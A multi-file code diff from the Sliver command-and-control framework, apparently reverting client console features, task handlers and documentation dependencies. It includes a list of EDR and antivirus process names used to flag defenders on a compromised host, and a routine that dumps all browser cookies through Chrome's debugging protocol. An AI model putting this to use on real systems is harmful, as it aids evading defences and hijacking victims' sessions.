 		"CylanceUI.exe":                   {console.Red, "Cylance"},                      // Cylance
 		"TaniumClient.exe":                {console.Red, "Tanium"},                       // Tanium
 		"TaniumCX.exe":                    {console.Red, "Tanium"},                       // Tanium
 		"TaniumDetectEngine.exe":          {console.Red, "Tanium"},                       // Tanium
-		"collector.exe":                   {console.Red, "Rapid 7 Collector"},            // Rapid 7 Insight Platform Collector
-		"ir_agent.exe":                    {console.Red, "Rapid 7 Insight Agent"},        // Rapid 7 Insight Agent
-		"eguiproxy.exe":                   {console.Red, "ESET Security"},                // ESET Internet Security
-		"ekrn.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
-		"efwd.exe":                        {console.Red, "ESET Security"},                // ESET Internet Security
 	}
 )
 
@@ -143,25 +131,6 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
 	ownerFilter := ctx.Flags.String("owner")
 	overflow := ctx.Flags.Bool("overflow")
 	skipPages := ctx.Flags.Int("skip-pages")
-	pstree := ctx.Flags.Bool("tree")
-
-	if pstree {
-		var currentPID int32
-		session, beacon := con.ActiveTarget.GetInteractive()
-		if session != nil && session.PID != 0 {
-			currentPID = session.PID
-		} else if beacon != nil && beacon.PID != 0 {
-			currentPID = beacon.PID
-		}
-		// Print the process tree
-		sorted := SortProcessesByPID(ps.Processes)
-		tree := NewPsTree(currentPID)
-		for _, p := range sorted {
-			tree.AddProcess(p)
-		}
-		con.PrintInfof("Process Tree:\n%s", tree.String())
-		return
-	}
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
@@ -301,11 +270,3 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
 	}
 	return -1
 }
-
-// SortProcessesByPID - Sorts a list of processes by PID
-func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
-	sort.Slice(ps, func(i, j int) bool {
-		return ps[i].Pid < ps[j].Pid
-	})
-	return ps
-}

client/command/processes/pstree.go

@@ -1,149 +0,0 @@
-package processes
-
-import (
-	"fmt"
-	"sort"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/xlab/treeprint"
-)
-
-// A PsTree is a tree of *commonpb.Process
-type PsTree struct {
-	printableTree treeprint.Tree // only used for rendering
-	implantPID    int32
-	procTree      *node // used to hold the tree structure
-}
-
-type node struct {
-	Value    *commonpb.Process // The process information
-	Children map[int32]*node   // The children of this node
-	Parent   *node             // The parent of this node
-}
-
-// NewPsTree creates a new PsTree
-func NewPsTree(pid int32) *PsTree {
-	return &PsTree{
-		printableTree: treeprint.New(),
-		implantPID:    pid,
-		procTree:      &node{Value: &commonpb.Process{Pid: -1}},
-	}
-}
-
-func (n *node) insert(proc *commonpb.Process) {
-	if n.Value == nil {
-		n.Value = proc
-		return
-	}
-	if parent := n.findParent(proc); parent != nil {
-		if parent.Children == nil {
-			parent.Children = make(map[int32]*node)
-		}
-		parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
-	} else {
-		if n.Children == nil {
-			n.Children = make(map[int32]*node)
-		}
-		n.Children[proc.Pid] = &node{Value: proc, Parent: n}
-	}
-}
-
-func (n *node) findParent(proc *commonpb.Process) *node {
-	if n.Value == nil {
-		return nil
-	}
-	if n.Value.Pid == proc.Ppid {
-		return n
-	}
-	for _, child := range n.Children {
-		if p := child.findParent(proc); p != nil {
-			return p
-		}
-	}
-	return nil
-}
-
-func reorder(root *node) {
-	toDelete := make([]int32, 0)
-	for pid, child := range root.Children {
-		// skip root node
-		if child.Value.Pid == -1 {
-			continue
-		}
-		// Skip edge case of [System Process] on Windows
-		if child.Value.Ppid == pid {
-			continue
-		}
-		// only focus on children without parent
-		if child.Parent.Value.Pid == -1 {
-			if parent := root.findParent(child.Value); parent != nil {
-				child.Parent = parent
-				if parent.Children == nil {
-					parent.Children = make(map[int32]*node)
-				}
-				// copy to new parent
-				parent.Children[pid] = child
-				// mark for deletion
-				toDelete = append(toDelete, pid)
-			}
-		}
-	}
-	// delete children that were moved
-	for _, pid := range toDelete {
-		delete(root.Children, pid)
-	}
-}
-
-func (t *PsTree) AddProcess(proc *commonpb.Process) {
-	t.procTree.insert(proc)
-}
-
-func (t *PsTree) filterProc(proc *commonpb.Process) string {
-	color := console.Normal
-	if proc.Pid == t.implantPID {
-		color = console.Green
-	}
-	if secTool, ok := knownSecurityTools[proc.Executable]; ok {
-		color = secTool[0]
-	}
-	return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
-}
-
-func (t *PsTree) String() string {
-	reorder(t.procTree)
-	return t.Print()
-}
-
-func (t *PsTree) Print() string {
-	topLevelPIDs := make([]int, 0, len(t.procTree.Children))
-	for k := range t.procTree.Children {
-		topLevelPIDs = append(topLevelPIDs, int(k))
-	}
-	sort.Ints(topLevelPIDs)
-	for _, pid := range topLevelPIDs {
-		current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
-		t.addToTree(current, t.procTree.Children[int32(pid)].Children)
-	}
-	return t.printableTree.String()
-
-}
-
-func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
-	for pid, proc := range procs {
-		if proc.Value.Pid == -1 {
-			continue
-		}
-		procName := t.filterProc(proc.Value)
-
-		procNode := tree.FindByMeta(pid)
-		if procNode == nil {
-			if len(proc.Children) > 0 {
-				procNode = tree.AddMetaBranch(pid, procName)
-			} else {
-				procNode = tree.AddMetaNode(pid, procName)
-			}
-		}
-		t.addToTree(procNode, proc.Children)
-	}
-}

client/command/processes/terminate.go

@@ -30,9 +30,8 @@ import (
 
 // TerminateCmd - Terminate a process on the remote system
 func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
-		con.PrintErrorf("No active session or beacon\n")
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
 		return
 	}
 

client/command/sessions/interactive.go

@@ -89,7 +89,7 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	c2s = append(c2s, tcpPivotC2...)
 
 	// No flags, parse the current beacon's ActiveC2 instead
-	if len(c2s) == 0 {
+	if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
 		con.PrintInfof("Using beacon's active C2 endpoint: %s\n", beacon.ActiveC2)
 		c2url, err := url.Parse(beacon.ActiveC2)
 		if err != nil {

client/command/sessions/sessions.go

@@ -78,10 +78,6 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	if killFlag != "" {
 		session := con.GetSession(killFlag)
-		if session == nil {
-			con.PrintErrorf("Invalid session name or session number: %s\n", killFlag)
-			return
-		}
 		activeSession := con.ActiveTarget.GetSession()
 		if activeSession != nil && session.ID == activeSession.ID {
 			con.ActiveTarget.Background()

client/command/tasks/fetch.go

@@ -28,7 +28,6 @@ import (
 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
-	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/command/filesystem"
 	"github.com/bishopfox/sliver/client/command/network"
 	"github.com/bishopfox/sliver/client/command/privilege"
@@ -174,9 +173,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 	// ---------------------
 	// Environment commands
 	// ---------------------
-	case sliverpb.MsgEnvReq:
+	case sliverpb.MsgEnvInfo:
 		envInfo := &sliverpb.EnvInfo{}
-		err := proto.Unmarshal(task.Response, envInfo)
+		err := proto.Unmarshal(task.Request, envInfo)
 		if err != nil {
 			con.PrintErrorf("Failed to decode task response: %s\n", err)
 			return
@@ -213,25 +212,9 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		environment.PrintUnsetEnvInfo(unsetEnvReq.Name, unsetEnv, con)
 
-	// ---------------------
-	// Call extension commands
-	// ---------------------
-	case sliverpb.MsgCallExtensionReq:
-		callExtension := &sliverpb.CallExtension{}
-		err := proto.Unmarshal(task.Response, callExtension)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		extensions.PrintExtOutput("", "", callExtension, con)
-
 	// ---------------------
 	// Exec commands
 	// ---------------------
-	case sliverpb.MsgInvokeExecuteAssemblyReq:
-		fallthrough
-	case sliverpb.MsgInvokeInProcExecuteAssemblyReq:
-		fallthrough
 	case sliverpb.MsgExecuteAssemblyReq:
 		execAssembly := &sliverpb.ExecuteAssembly{}
 		err := proto.Unmarshal(task.Response, execAssembly)
@@ -250,7 +233,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			Flags: grumble.FlagMap{
 				"save": &grumble.FlagMapItem{Value: false, IsDefault: true},
 				"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
-				"name": &grumble.FlagMapItem{Value: "", IsDefault: true},
 			},
 		}
 		exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
@@ -357,7 +339,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintPwd(pwd, con)
 
-	case sliverpb.MsgDownloadReq:
+	case sliverpb.MsgDownload:
 		download := &sliverpb.Download{}
 		err := proto.Unmarshal(task.Response, download)
 		if err != nil {
@@ -415,7 +397,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintRm(rm, con)
 
-	case sliverpb.MsgUploadReq:
+	case sliverpb.MsgUpload:
 		upload := &sliverpb.Upload{}
 		err := proto.Unmarshal(task.Response, upload)
 		if err != nil {
@@ -424,60 +406,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 		}
 		filesystem.PrintUpload(upload, con)
 
-	case sliverpb.MsgChmodReq:
-		chmod := &sliverpb.Chmod{}
-		err := proto.Unmarshal(task.Response, chmod)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		filesystem.PrintChmod(chmod, con)
-
-	case sliverpb.MsgChownReq:
-		chown := &sliverpb.Chown{}
-		err := proto.Unmarshal(task.Response, chown)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		filesystem.PrintChown(chown, con)
-
-	case sliverpb.MsgChtimesReq:
-		chtimes := &sliverpb.Chtimes{}
-		err := proto.Unmarshal(task.Response, chtimes)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		filesystem.PrintChtimes(chtimes, con)
-
-	case sliverpb.MsgMemfilesListReq:
-		memfilesList := &sliverpb.Ls{}
-		err := proto.Unmarshal(task.Response, memfilesList)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		filesystem.PrintMemfiles(memfilesList, con)
-
-	case sliverpb.MsgMemfilesAddReq:
-		memfilesAdd := &sliverpb.MemfilesAdd{}
-		err := proto.Unmarshal(task.Response, memfilesAdd)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		filesystem.PrintAddMemfile(memfilesAdd, con)
-
-	case sliverpb.MsgMemfilesRmReq:
-		memfilesRm := &sliverpb.MemfilesRm{}
-		err := proto.Unmarshal(task.Response, memfilesRm)
-		if err != nil {
-			con.PrintErrorf("Failed to decode task response: %s\n", err)
-			return
-		}
-		filesystem.PrintRmMemfile(memfilesRm, con)
-
 	// ---------------------
 	// Network commands
 	// ---------------------
@@ -502,7 +430,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 			con.PrintErrorf("Failed to fetch beacon: %s\n", err)
 			return
 		}
-		network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
+		network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
 
 	// ---------------------
 	// Privilege commands
@@ -620,7 +548,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 				"overflow":      &grumble.FlagMapItem{Value: false},
 				"skip-pages":    &grumble.FlagMapItem{Value: 0},
 				"print-cmdline": &grumble.FlagMapItem{Value: true},
-				"tree":          &grumble.FlagMapItem{Value: false},
 			},
 		}
 		processes.PrintPS(beacon.OS, ps, true, ctx, con)
@@ -718,7 +645,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
 	// ---------------------
 	// Screenshot
 	// ---------------------
-	case sliverpb.MsgScreenshotReq:
+	case sliverpb.MsgScreenshot:
 		screenshot := &sliverpb.Screenshot{}
 		err := proto.Unmarshal(task.Response, screenshot)
 		if err != nil {

client/command/websites/websites-add-content.go

@@ -1,27 +1,10 @@
 package websites
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"errors"
 	"io"
+	"io/ioutil"
 	"net/http"
 	"os"
 	"path"
@@ -111,7 +94,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
 		return err
 	}
 	defer file.Close()
-	data, err := io.ReadAll(file)
+	data, err := ioutil.ReadAll(file)
 	if err != nil {
 		return err
 	}

client/command/websites/websites-rm-content.go

@@ -1,23 +1,5 @@
 package websites
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 	"strings"

client/command/websites/websites-rm.go

@@ -1,23 +1,5 @@
 package websites
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 

client/command/websites/websites-update-content.go

@@ -1,23 +1,5 @@
 package websites
 
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
 import (
 	"context"
 

client/command/websites/websites.go

@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
 		return sortedContents[i].Path < sortedContents[j].Path
 	})
 	for _, content := range sortedContents {
-		tw.AppendRow(table.Row{
+		tw.AppendHeader(table.Row{
 			content.Path,
 			content.ContentType,
 			content.Size,

client/console/console.go

@@ -44,7 +44,6 @@ import (
 	"github.com/desertbit/go-shlex"
 	"github.com/desertbit/grumble"
 	"github.com/fatih/color"
-	"github.com/gofrs/uuid"
 	"google.golang.org/protobuf/proto"
 )
 
@@ -92,7 +91,6 @@ type SliverConsoleClient struct {
 	App                      *grumble.App
 	Rpc                      rpcpb.SliverRPCClient
 	ActiveTarget             *ActiveTarget
-	EventListeners           *sync.Map
 	BeaconTaskCallbacks      map[string]BeaconTaskCallback
 	BeaconTaskCallbacksMutex *sync.Mutex
 	IsServer                 bool
@@ -122,7 +120,6 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 			observers:  map[int]Observer{},
 			observerID: 0,
 		},
-		EventListeners:           &sync.Map{},
 		BeaconTaskCallbacks:      map[string]BeaconTaskCallback{},
 		BeaconTaskCallbacksMutex: &sync.Mutex{},
 		IsServer:                 isServer,
@@ -139,7 +136,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 		con.App.SetPrompt(con.GetPrompt())
 	})
 
-	go con.startEventLoop()
+	go con.EventLoop()
 	go core.TunnelLoop(rpc)
 
 	err := con.App.Run()
@@ -149,7 +146,7 @@ func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isS
 	return err
 }
 
-func (con *SliverConsoleClient) startEventLoop() {
+func (con *SliverConsoleClient) EventLoop() {
 	eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		fmt.Printf(Warn+"%s\n", err)
@@ -161,10 +158,7 @@ func (con *SliverConsoleClient) startEventLoop() {
 			return
 		}
 
-		go con.triggerEventListeners(event)
-
 		// Trigger event based on type
-		echoed := false // Only echo the event once
 		switch event.EventType {
 
 		case consts.CanaryEvent:
@@ -174,7 +168,6 @@ func (con *SliverConsoleClient) startEventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
 			}
-			echoed = true
 
 		case consts.WatchtowerEvent:
 			msg := string(event.Data)
@@ -184,19 +177,15 @@ func (con *SliverConsoleClient) startEventLoop() {
 				shortID := strings.Split(session.ID, "-")[0]
 				con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
 			}
-			echoed = true
 
 		case consts.JoinedEvent:
 			con.PrintEventInfof("%s has joined the game", event.Client.Operator.Name)
-			echoed = true
 		case consts.LeftEvent:
 			con.PrintEventInfof("%s left the game", event.Client.Operator.Name)
-			echoed = true
 
 		case consts.JobStoppedEvent:
 			job := event.Job
 			con.PrintEventErrorf("Job #%d stopped (%s/%s)", job.ID, job.Protocol, job.Name)
-			echoed = true
 
 		case consts.SessionOpenedEvent:
 			session := event.Session
@@ -212,14 +201,12 @@ func (con *SliverConsoleClient) startEventLoop() {
 					con.PrintEventErrorf("Could not add session to Operator: %s", err)
 				}
 			}
-			echoed = true
 
 		case consts.SessionUpdateEvent:
 			session := event.Session
 			currentTime := time.Now().Format(time.RFC1123)
 			shortID := strings.Split(session.ID, "-")[0]
 			con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
-			echoed = true
 
 		case consts.SessionClosedEvent:
 			session := event.Session
@@ -242,7 +229,6 @@ func (con *SliverConsoleClient) startEventLoop() {
 				}
 				con.PrintEventInfof("Removed session %s from Operator", session.Name)
 			}
-			echoed = true
 
 		case consts.BeaconRegisteredEvent:
 			beacon := &clientpb.Beacon{}
@@ -261,46 +247,18 @@ func (con *SliverConsoleClient) startEventLoop() {
 					con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
 				}
 			}
-			echoed = true
 
 		case consts.BeaconTaskResultEvent:
 			con.triggerBeaconTaskCallback(event.Data)
-			echoed = true
-
 		}
 
 		con.triggerReactions(event)
 
-		// Only render if we echoed the event
-		if echoed {
-			con.Printf(Clearln + con.GetPrompt())
-			bufio.NewWriter(con.App.Stdout()).Flush()
-		}
+		con.Printf(Clearln + con.GetPrompt())
+		bufio.NewWriter(con.App.Stdout()).Flush()
 	}
 }
 
-func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) {
-	listener := make(chan *clientpb.Event, 100)
-	listenerID, _ := uuid.NewV4()
-	con.EventListeners.Store(listenerID.String(), listener)
-	return listenerID.String(), listener
-}
-
-func (con *SliverConsoleClient) RemoveEventListener(listenerID string) {
-	value, ok := con.EventListeners.LoadAndDelete(listenerID)
-	if ok {
-		close(value.(chan *clientpb.Event))
-	}
-}
-
-func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) {
-	con.EventListeners.Range(func(key, value interface{}) bool {
-		listener := value.(chan *clientpb.Event)
-		listener <- event // Do not block while sending the event to the listener
-		return true
-	})
-}
-
 func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) {
 	reactions := core.Reactions.On(event.EventType)
 	if len(reactions) == 0 {
@@ -361,12 +319,12 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
 			if beacon != nil {
 				con.PrintEventSuccessf("%s completed task %s", beacon.Name, strings.Split(task.ID, "-")[0])
 			}
-			task_content, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
+			task, err = con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{
 				ID: task.ID,
 			})
 			con.Printf(Clearln + "\r")
 			if err == nil {
-				callback(task_content)
+				callback(task)
 			} else {
 				con.PrintErrorf("Could not get beacon task content: %s\n", err)
 			}

client/constants/constants.go

@@ -90,10 +90,7 @@ const (
 	BeaconTaskResultEvent = "beacon-taskresult"
 
 	// ExternalBuildEvent
-	ExternalBuildEvent          = "external-build"
-	AcknowledgeBuildEvent       = "external-acknowledge"
-	ExternalBuildFailedEvent    = "external-build-failed"
-	ExternalBuildCompletedEvent = "external-build-completed"
+	ExternalBuildEvent = "external-build"
 
 	// WireGuardNewPeer - New Wireguard peer added
 	WireGuardNewPeer = "wireguard-newpeer"
@@ -187,11 +184,6 @@ const (
 	UploadStr   = "upload"
 	IfconfigStr = "ifconfig"
 	NetstatStr  = "netstat"
-	ChmodStr    = "chmod"
-	ChownStr    = "chown"
-	ChtimesStr  = "chtimes"
-
-	MemfilesStr = "memfiles"
 
 	ProcdumpStr         = "procdump"
 	ImpersonateStr      = "impersonate"
@@ -261,8 +253,6 @@ const (
 	CursedElectron = "electron"
 	CursedEdge     = "edge"
 	CursedCookies  = "cookies"
-
-	BuildersStr = "builders"
 )
 
 // Groups

client/overlord/overlord.go

@@ -22,7 +22,8 @@ import (
 	"context"
 	"encoding/json"
 	"errors"
-	"io"
+	"fmt"
+	"io/ioutil"
 	"log"
 	"net/http"
 	"net/url"
@@ -32,7 +33,6 @@ import (
 	"github.com/chromedp/cdproto/cdp"
 	"github.com/chromedp/cdproto/network"
 	"github.com/chromedp/cdproto/page"
-	"github.com/chromedp/cdproto/storage"
 	"github.com/chromedp/cdproto/target"
 	"github.com/chromedp/chromedp"
 )
@@ -59,7 +59,7 @@ const (
 
 var (
 	// ErrTargetNotFound - Returned when a target cannot be found
-	ErrTargetNotFound = errors.New("target not found")
+	ErrTargetNotFound = errors.New("Target not found")
 )
 
 // ManifestBackground - An extension manifest file
@@ -129,7 +129,7 @@ func findTargetInfoByID(ctx context.Context, targetID string) *target.Info {
 		return nil
 	}
 	for _, targetInfo := range targets {
-		if targetInfo.TargetID.String() == targetID {
+		if fmt.Sprintf("%s", targetInfo.TargetID) == targetID {
 			return targetInfo
 		}
 	}
@@ -227,9 +227,9 @@ func QueryDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
 		return nil, err
 	}
 	if resp.StatusCode != 200 {
-		return nil, errors.New("non-200 status code")
+		return nil, errors.New("Non-200 status code")
 	}
-	data, err := io.ReadAll(resp.Body)
+	data, err := ioutil.ReadAll(resp.Body)
 	if err != nil {
 		return nil, err
 	}
@@ -245,9 +245,9 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
 		return nil, err
 	}
 	if resp.StatusCode != 200 {
-		return nil, errors.New("non-200 status code")
+		return nil, errors.New("Non-200 status code")
 	}
-	data, err := io.ReadAll(resp.Body)
+	data, err := ioutil.ReadAll(resp.Body)
 	if err != nil {
 		return nil, err
 	}
@@ -276,10 +276,13 @@ func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Coo
 	dumpCookieTasks := chromedp.Tasks{
 		// read network values
 		chromedp.ActionFunc(func(ctx context.Context) error {
-			cookies, err = storage.GetCookies().Do(ctx)
+			cookies, err = network.GetAllCookies().Do(ctx)
 			if err != nil {
 				return err
 			}
+			// for i, cookie := range cookies {
+			// 	log.Printf("chrome cookie %d: %+v", i, cookie)
+			// }
 			return nil
 		}),
 	}

docs/Gemfile

@@ -37,5 +37,3 @@ gem "wdm", "~> 0.1.0", :install_if => Gem.win_platform?
 # kramdown v1, comment out this line.
 gem "kramdown-parser-gfm"
 
-
-gem "webrick", "~> 1.8"

docs/Gemfile.lock

@@ -1,43 +1,62 @@
 GEM
   remote: https://rubygems.org/
   specs:
-    activesupport (6.0.6.1)
+    activesupport (6.0.4.6)
       concurrent-ruby (~> 1.0, >= 1.0.2)
       i18n (>= 0.7, < 2)
       minitest (~> 5.1)
       tzinfo (~> 1.1)
       zeitwerk (~> 2.2, >= 2.2.2)
-    addressable (2.8.1)
-      public_suffix (>= 2.0.2, < 6.0)
+    addressable (2.8.0)
+      public_suffix (>= 2.0.2, < 5.0)
     coffee-script (2.4.1)
       coffee-script-source
       execjs
     coffee-script-source (1.11.1)
     colorator (1.1.0)
-    commonmarker (0.23.9)
-    concurrent-ruby (1.2.0)
+    commonmarker (0.23.6)
+    concurrent-ruby (1.1.9)
     dnsruby (1.61.9)
       simpleidn (~> 0.1)
     em-websocket (0.5.3)
       eventmachine (>= 0.12.9)
       http_parser.rb (~> 0)
-    ethon (0.16.0)
+    ethon (0.15.0)
       ffi (>= 1.15.0)
     eventmachine (1.2.7)
     execjs (2.8.1)
-    faraday (2.7.4)
-      faraday-net_http (>= 2.0, < 3.1)
+    faraday (1.10.0)
+      faraday-em_http (~> 1.0)
+      faraday-em_synchrony (~> 1.0)
+      faraday-excon (~> 1.1)
+      faraday-httpclient (~> 1.0)
+      faraday-multipart (~> 1.0)
+      faraday-net_http (~> 1.0)
+      faraday-net_http_persistent (~> 1.0)
+      faraday-patron (~> 1.0)
+      faraday-rack (~> 1.0)
+      faraday-retry (~> 1.0)
       ruby2_keywords (>= 0.0.4)
-    faraday-net_http (3.0.2)
+    faraday-em_http (1.0.0)
+    faraday-em_synchrony (1.0.0)
+    faraday-excon (1.1.0)
+    faraday-httpclient (1.0.1)
+    faraday-multipart (1.0.3)
+      multipart-post (>= 1.2, < 3)
+    faraday-net_http (1.0.1)
+    faraday-net_http_persistent (1.2.0)
+    faraday-patron (1.0.0)
+    faraday-rack (1.0.0)
+    faraday-retry (1.0.3)
     ffi (1.15.5)
     forwardable-extended (2.6.0)
     gemoji (3.0.1)
-    github-pages (228)
+    github-pages (225)
       github-pages-health-check (= 1.17.9)
-      jekyll (= 3.9.3)
+      jekyll (= 3.9.0)
       jekyll-avatar (= 0.7.0)
       jekyll-coffeescript (= 1.1.1)
-      jekyll-commonmark-ghpages (= 0.4.0)
+      jekyll-commonmark-ghpages (= 0.2.0)
       jekyll-default-layout (= 0.1.4)
       jekyll-feed (= 0.15.1)
       jekyll-gist (= 1.5.0)
@@ -69,12 +88,12 @@ GEM
       jekyll-theme-time-machine (= 0.2.0)
       jekyll-titles-from-headings (= 0.5.3)
       jemoji (= 0.12.0)
-      kramdown (= 2.3.2)
+      kramdown (= 2.3.1)
       kramdown-parser-gfm (= 1.1.0)
-      liquid (= 4.0.4)
+      liquid (= 4.0.3)
       mercenary (~> 0.3)
       minima (= 2.5.1)
-      nokogiri (>= 1.13.6, < 2.0)
+      nokogiri (>= 1.12.5, < 2.0)
       rouge (= 3.26.0)
       terminal-table (~> 1.4)
     github-pages-health-check (1.17.9)
@@ -83,17 +102,17 @@ GEM
       octokit (~> 4.0)
       public_suffix (>= 3.0, < 5.0)
       typhoeus (~> 1.3)
-    html-pipeline (2.14.3)
+    html-pipeline (2.14.0)
       activesupport (>= 2)
       nokogiri (>= 1.4)
     http_parser.rb (0.8.0)
-    i18n (1.12.0)
+    i18n (0.9.5)
       concurrent-ruby (~> 1.0)
-    jekyll (3.9.3)
+    jekyll (3.9.0)
       addressable (~> 2.4)
       colorator (~> 1.0)
       em-websocket (~> 0.5)
-      i18n (>= 0.7, < 2)
+      i18n (~> 0.7)
       jekyll-sass-converter (~> 1.0)
       jekyll-watch (~> 2.0)
       kramdown (>= 1.17, < 3)
@@ -109,11 +128,11 @@ GEM
       coffee-script-source (~> 1.11.1)
     jekyll-commonmark (1.4.0)
       commonmarker (~> 0.22)
-    jekyll-commonmark-ghpages (0.4.0)
-      commonmarker (~> 0.23.7)
+    jekyll-commonmark-ghpages (0.2.0)
+      commonmarker (~> 0.23.4)
       jekyll (~> 3.9.0)
       jekyll-commonmark (~> 1.4.0)
-      rouge (>= 2.0, < 5.0)
+      rouge (>= 2.0, < 4.0)
     jekyll-default-layout (0.1.4)
       jekyll (~> 3.0)
     jekyll-feed (0.15.1)
@@ -197,32 +216,33 @@ GEM
       gemoji (~> 3.0)
       html-pipeline (~> 2.2)
       jekyll (>= 3.0, < 5.0)
-    kramdown (2.3.2)
+    kramdown (2.3.1)
       rexml
     kramdown-parser-gfm (1.1.0)
